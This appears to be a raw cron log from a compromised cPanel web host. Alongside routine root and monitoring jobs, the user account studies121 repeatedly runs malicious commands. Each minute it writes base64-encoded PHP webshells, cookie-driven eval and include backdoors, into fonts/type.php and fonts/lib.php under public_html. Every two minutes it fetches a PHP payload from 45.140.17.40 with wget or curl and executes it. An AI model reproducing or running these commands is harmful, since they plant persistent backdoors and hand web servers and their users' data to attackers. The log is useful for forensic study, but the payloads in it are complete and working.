Sep 20 13:31:01 ip-184-168-122-23 CROND[12311]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:31:01 ip-184-168-122-23 CROND[12312]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 13:32:02 ip-184-168-122-23 CROND[12634]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:32:02 ip-184-168-122-23 CROND[12638]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 13:32:02 ip-184-168-122-23 CROND[12636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:32:02 ip-184-168-122-23 CROND[12637]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:32:02 ip-184-168-122-23 CROND[12639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:33:01 ip-184-168-122-23 CROND[12881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:33:01 ip-184-168-122-23 CROND[12883]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:33:01 ip-184-168-122-23 CROND[12887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:33:01 ip-184-168-122-23 CROND[12885]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:34:01 ip-184-168-122-23 CROND[13133]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:34:01 ip-184-168-122-23 CROND[13137]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:34:01 ip-184-168-122-23 CROND[13135]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 13:34:01 ip-184-168-122-23 CROND[13136]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:34:01 ip-184-168-122-23 CROND[13138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:35:01 ip-184-168-122-23 CROND[13411]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:35:01 ip-184-168-122-23 CROND[13414]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 20 13:35:01 ip-184-168-122-23 CROND[13413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:35:01 ip-184-168-122-23 CROND[13415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:35:01 ip-184-168-122-23 CROND[13416]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 13:35:01 ip-184-168-122-23 CROND[13417]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:35:01 ip-184-168-122-23 CROND[13418]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 13:35:01 ip-184-168-122-23 CROND[13420]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 13:36:01 ip-184-168-122-23 CROND[13729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:36:01 ip-184-168-122-23 CROND[13731]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:36:01 ip-184-168-122-23 CROND[13732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:36:01 ip-184-168-122-23 CROND[13735]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 13:36:01 ip-184-168-122-23 CROND[13733]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:37:01 ip-184-168-122-23 CROND[14042]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:37:01 ip-184-168-122-23 CROND[14043]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:37:01 ip-184-168-122-23 CROND[14044]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:37:01 ip-184-168-122-23 CROND[14045]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:38:01 ip-184-168-122-23 CROND[14274]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:38:01 ip-184-168-122-23 CROND[14275]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 13:38:01 ip-184-168-122-23 CROND[14276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:38:01 ip-184-168-122-23 CROND[14279]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:38:01 ip-184-168-122-23 CROND[14280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:39:01 ip-184-168-122-23 CROND[14534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:39:01 ip-184-168-122-23 CROND[14536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:39:02 ip-184-168-122-23 CROND[14540]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:39:02 ip-184-168-122-23 CROND[14541]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:39:02 ip-184-168-122-23 CROND[14542]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 20 13:40:02 ip-184-168-122-23 CROND[14800]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:40:02 ip-184-168-122-23 CROND[14798]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 13:40:02 ip-184-168-122-23 CROND[14802]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 13:40:02 ip-184-168-122-23 CROND[14803]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:40:02 ip-184-168-122-23 CROND[14797]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 13:40:02 ip-184-168-122-23 CROND[14801]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:40:02 ip-184-168-122-23 CROND[14796]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 13:40:02 ip-184-168-122-23 CROND[14799]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:41:01 ip-184-168-122-23 CROND[15313]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:41:01 ip-184-168-122-23 CROND[15317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:41:01 ip-184-168-122-23 CROND[15316]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:41:01 ip-184-168-122-23 CROND[15315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:42:01 ip-184-168-122-23 CROND[15559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:42:01 ip-184-168-122-23 CROND[15560]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:42:01 ip-184-168-122-23 CROND[15564]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:42:01 ip-184-168-122-23 CROND[15563]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:42:01 ip-184-168-122-23 CROND[15566]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 13:43:01 ip-184-168-122-23 CROND[15898]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:43:01 ip-184-168-122-23 CROND[15899]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:43:01 ip-184-168-122-23 CROND[15900]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
